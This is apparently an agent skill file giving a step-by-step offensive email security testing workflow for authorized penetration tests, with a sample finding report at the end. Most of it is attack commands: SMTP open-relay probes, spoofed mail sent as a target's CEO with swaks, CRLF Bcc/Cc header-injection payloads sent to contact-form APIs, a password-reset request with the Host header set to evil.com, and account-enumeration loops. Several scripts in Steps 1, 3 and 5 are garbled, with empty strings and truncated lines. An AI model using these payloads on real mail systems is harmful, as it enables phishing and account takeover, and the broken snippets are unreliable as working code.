| name | performing-email-security-testing |
| description | Offensive email security assessment covering SMTP open relay, SPF/DKIM/DMARC bypass, email header injection, and email-based attack vectors during authorized penetration tests. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","email-security","smtp-testing","spf-bypass","dmarc-testing","email-spoofing","header-injection"] |
| version | 1.0 |
| author | xalgord |
| license | Apache-2.0 |
Performing Email Security Testing
When to Use
- During Phase 15 (Email Security Testing) of the methodology
- When the target has email infrastructure (MX records, webmail, contact forms)
- When testing for email spoofing or phishing susceptibility
- When the application handles email input (forms, notifications, password resets)
- When testing email-based authentication flows (magic links, OTP via email)
How to CONFIRM a Hit (avoid false negatives)
- Positive signal: a spoofed message actually passes/bypasses SPF, DKIM, and DMARC and is delivered to the inbox; an open relay actually delivers a third-party message; or CRLF header injection actually adds a recipient/header in the received mail.
- Confirm by delivery to your controlled test inbox (agentmail) and by reading the received
Authentication-Results headers (spf=pass/none, dmarc=pass/none) — a DNS record showing ~all/p=none is suggestive but delivery is the proof.
- An SMTP
250 OK alone is NOT a hit (it may be quarantined or silently dropped); one rejection is NOT a clean negative until policy and relay paths are exercised.
- Do NOT conclude "not vulnerable" until you have:
- Checked SPF (
~all/?all/+all/absent), DMARC (p=none/absent, weak sp=/pct=), and DKIM selectors — then sent a real spoof to confirm inbox delivery.
- Tried open-relay with an external
MAIL FROM and confirmed delivery, on ports 25/465/587.
- Tried header injection via web forms (all CRLF encodings/fields) and confirmed an injected
Bcc/Cc arrived.
- Tested Host-header poisoning of reset links (verify the link in the delivered email uses the attacker host) and token predictability/reuse.
Prerequisites
- Authorization: Written scope covering email infrastructure testing
- agentmail: ALWAYS use agentmail for test addresses (never use external emails)
- dig/nslookup: DNS record enumeration
- swaks: Swiss Army Knife for SMTP (
apt install swaks)
- nmap: For SMTP service enumeration
- curl: For testing web-to-email functionality
- openssl: For TLS/STARTTLS testing
Workflow
Step 1: Email Infrastructure Enumeration
Map the target's email ecosystem before testing.
dig MX target.example.com +short
dig TXT target.example.com +short | grep "v=spf1"
dig TXT _dmarc.target.example.com +short
for SELECTOR in default google s1 s2 k1 selector1 selector2 dkim mail; do
RESULT=$(dig TXT ${SELECTOR}._domainkey.target.example.com +short 2>/dev/null)
if [ -n "$RESULT" ]; then
echo "DKIM found: ${SELECTOR}._domainkey.target.example.com"
echo "$RESULT"
fi
done
for MX in $(dig MX target.example.com +short | awk '{print $2}'); do
echo "=== ==="
nmap -sV -p 25,465,587 --script smtp-commands,smtp-enum-users
PREFIX mail webmail email owa outlook autodiscover;
CODE=$(curl -s -o /dev/null -w 2>/dev/null)
[ != ] && [ != ];
Step 2: SMTP Open Relay Testing
Test if the mail server allows unauthenticated relay.
(
sleep 1; echo "EHLO test.example.com"
sleep 1; echo "MAIL FROM:<test@external-domain.com>"
sleep 1; echo "RCPT TO:<YOUR_AGENTMAIL_ADDRESS>"
sleep 1; echo "DATA"
sleep 1; echo "Subject: Open Relay Test"
sleep 1; echo ""
sleep 1; echo "This is an open relay test."
sleep 1; echo "."
sleep 1; echo "QUIT"
) | openssl s_client -connect mx1.target.example.com:25 -starttls smtp 2>/dev/null
swaks --to YOUR_AGENTMAIL_ADDRESS \
--from spoofed@external-domain.com \
--server mx1.target.example.com \
--port 25 \
--body "Open relay test - authorized pentest" \
--header "Subject: Open Relay Test"
Step 3: Email Spoofing Assessment
Test if the domain is susceptible to email spoofing.
SPF=$(dig TXT target.example.com +short | grep "v=spf1")
if [ -z "$SPF" ]; then
echo "CRITICAL: No SPF record — domain is fully spoofable"
fi
echo "$SPF" | grep "~all" && echo "WARN: SPF softfail — spoofing may bypass filters"
echo "$SPF" | grep "+all" && echo "CRITICAL: SPF +all — explicitly allows spoofing"
DMARC=$(dig TXT _dmarc.target.example.com +short)
if [ -z "$DMARC" ]; then
echo "CRITICAL: No DMARC record — no email authentication enforcement"
elif echo "$DMARC" | grep -q "p=none"; then
echo "WARN: DMARC p=none — monitoring only, spoofed email will be delivered"
elif echo "$DMARC" | grep -q "p=quarantine"; then
echo "INFO: DMARC p=quarantine — spoofed email goes to spam (partial protection)"
| grep -q ;
| grep -oP ||
| grep -oP ||
swaks --to YOUR_AGENTMAIL_ADDRESS \
--from ceo@target.example.com \
--server mx1.target.example.com \
--body \
--header \
--header
Step 4: Email Header Injection via Web Forms
Test web application email functionality for header injection.
curl -s -X POST "https://target.example.com/api/contact" \
-H "Content-Type: application/json" \
-d '{
"email": "test@example.com\r\nBcc: YOUR_AGENTMAIL_ADDRESS",
"message": "Header injection test"
}'
curl -s -X POST "https://target.example.com/api/contact" \
-H "Content-Type: application/json" \
-d '{
"name": "Test\r\nBcc: YOUR_AGENTMAIL_ADDRESS",
"email": "test@example.com",
"message": "Header injection test"
}'
curl -s -X POST "https://target.example.com/api/contact" \
-H "Content-Type: application/json" \
-d '{
"email": "test@example.com%0ACc:YOUR_AGENTMAIL_ADDRESS",
"message": "URL-encoded header injection test"
}'
curl -s -X POST "https://target.example.com/api/contact" \
-H "Content-Type: application/json" \
-d '{
"email": "test@example.com",
"message": "Normal message\r\n\r\nContent-Type: text/html\r\n\r\n<h1>Injected HTML</h1>"
}'
Step 5: Password Reset Email Security
Test for vulnerabilities in password reset flows.
curl -s -X POST "https://target.example.com/api/forgot-password" \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email": "victim@target.example.com"}'
for i in $(seq 1 5); do
curl -s -X POST "https://target.example.com/api/forgot-password" \
-H "Content-Type: application/json" \
-d "{\"email\": \"$AGENTMAIL_ADDRESS\"}"
sleep 2
done
for EMAIL in "existing@target.example.com" "nonexistent@target.example.com" \
"admin@target.example.com" "root@target.example.com"; do
echo -n "$EMAIL → "
curl -s -o /dev/null -w "%{http_code} %{size_download}" \
-X POST "https://target.example.com/api/forgot-password" \
-H "Content-Type: application/json" \
-d
Step 6: SMTP STARTTLS and Encryption Testing
for PORT in 25 465 587; do
echo "=== Port $PORT ==="
echo "QUIT" | openssl s_client -connect mx1.target.example.com:$PORT \
-starttls smtp 2>/dev/null | \
grep -E "Protocol|Cipher|Server certificate"
done
(echo "EHLO test"; sleep 1; echo "QUIT") | \
nc mx1.target.example.com 25 2>/dev/null | grep -i "STARTTLS"
Key Concepts
| Concept | Description |
|---|
| SPF | Sender Policy Framework — specifies which IPs can send email for a domain |
| DKIM | DomainKeys Identified Mail — cryptographic signature verifying email sender |
| DMARC | Domain-based Message Authentication — policy for handling SPF/DKIM failures |
| Open Relay | SMTP server that relays email from unauthenticated senders (Critical) |
| Email Header Injection | Injecting CRLF to add Bcc/Cc headers via web forms |
| Host Header Poisoning | Manipulating Host header to redirect password reset links |
| STARTTLS Downgrade | Forcing SMTP connection to plaintext by stripping TLS negotiation |
Common Scenarios
| Scenario | Impact | Proof |
|---|
| No SPF record | Anyone can spoof emails from domain | dig TXT domain shows no v=spf1 |
| DMARC p=none | Spoofed emails delivered to inbox | Email delivered to agentmail with spoofed From |
| Open SMTP relay | Spam/phishing relay through target server | Email delivered via relay to agentmail |
| Header injection in contact form | Attacker controls email recipients | BCC injection delivers to agentmail |
| Predictable reset tokens | Account takeover via token prediction | Sequential tokens with < 32 bit entropy |
| Host header password reset poisoning | Reset link points to attacker domain | Reset email contains evil.com URL |
Output Format
## Email Security Finding
**Vulnerability**: Missing DMARC Policy — Domain Spoofable
**Severity**: Medium (CVSS 5.3)
**Location**: _dmarc.target.example.com (DNS)
**Type**: Email Authentication Misconfiguration
### Evidence
- SPF Record: v=spf1 include:_spf.google.com ~all (SOFTFAIL)
- DMARC Record: NONE (no _dmarc TXT record exists)
- DKIM: Selector 'google' found with valid key
### Exploitation Proof
Successfully sent spoofed email as ceo@target.example.com
to test inbox. Email was delivered without any authentication
warnings because no DMARC policy exists to enforce SPF/DKIM.
### Impact
- Attackers can send phishing emails appearing to come from target.example.com
- No mechanism to reject or quarantine spoofed messages
- Combined with social engineering, enables targeted spearphishing
### Recommendation
1. Implement DMARC: _dmarc.target.example.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc@target.example.com"
2. Change SPF from ~all (softfail) to -all (hardfail)
3. Enable DMARC reporting to monitor authentication failures
4. Consider implementing BIMI for visual email authentication